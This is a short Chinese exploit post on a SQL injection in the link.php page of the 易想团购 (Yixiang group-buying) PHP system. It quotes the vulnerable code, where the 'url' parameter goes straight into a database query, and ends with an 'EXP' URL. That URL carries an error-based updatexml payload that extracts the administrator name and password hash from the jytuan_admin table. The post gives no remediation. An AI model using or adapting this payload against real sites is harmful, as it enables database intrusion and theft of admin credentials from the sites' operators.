易想购物link.php sql注入漏洞

  • A+
所属分类:漏洞时代
摘要

易想团购系统link.php页面内代码[php]if($_REQUEST[‘act’]==’go’) //link标签 go
{
$url = ($_REQUEST[‘url’]); //直接取了url的值就带入了sql查询语句了
$link_item = $GLOBALS[‘db’]->getRowCached(“select * from “.DB_PREFIX.”link where (url = ‘”.$url.”‘ or url = ‘http://”.$url.”‘) and is_effect = 1″); //带入查询了
if($link_item)
{
if(check_ipop_limit(get_client_ip(),”Link”,10,$link_item[‘id’]))
$GLOBALS[‘db’]->query(“update “.DB_PREFIX.”link set count = count + 1 where id = “.$link_item[‘id’]);
$url = “http://”.$url;
}
else
{
$url = APP_ROOT.”/”;
}
app_redirect($url);
}
[/php]

易想团购系统link.php页面内代码

if($_REQUEST['act']=='go') //link标签 go<br /> {<br /> $url = ($_REQUEST['url']); //直接取了url的值就带入了sql查询语句了<br /> $link_item = $GLOBALS['db']->getRowCached("select * from ".DB_PREFIX."link where (url = '".$url."' or url = 'http://".$url."') and is_effect = 1"); //带入查询了<br /> if($link_item)<br /> {<br /> if(check_ipop_limit(get_client_ip(),"Link",10,$link_item['id']))<br /> $GLOBALS['db']->query("update ".DB_PREFIX."link set count = count + 1 where id = ".$link_item['id']);<br /> $url = "http://".$url;<br /> }<br /> else<br /> {<br /> $url = APP_ROOT."/";<br /> }<br /> app_redirect($url);<br /> }<br />

EXP:
http://www.0day5.com/link.php?act=go&city=sanming&url=secer') and (updatexml(1,concat(0x3a,(select concat(adm_name,0x3a,adm_password) from jytuan_admin limit 1)),1))%23

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: